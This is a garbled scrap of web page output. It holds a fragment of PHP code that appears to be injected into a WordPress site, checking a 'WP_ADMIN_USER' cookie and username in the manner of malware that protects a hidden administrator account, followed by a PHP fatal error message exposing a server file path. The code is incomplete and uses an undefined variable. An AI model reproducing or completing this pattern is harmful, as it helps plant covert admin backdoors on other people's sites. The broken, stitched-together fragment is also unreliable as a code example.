if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<br />
<b>Fatal error</b>:  Class 'WP_REST_Settings_Controller' not found in <b>/home/vinove/public_html/wp-includes/rest-api.php</b> on line <b>234</b><br />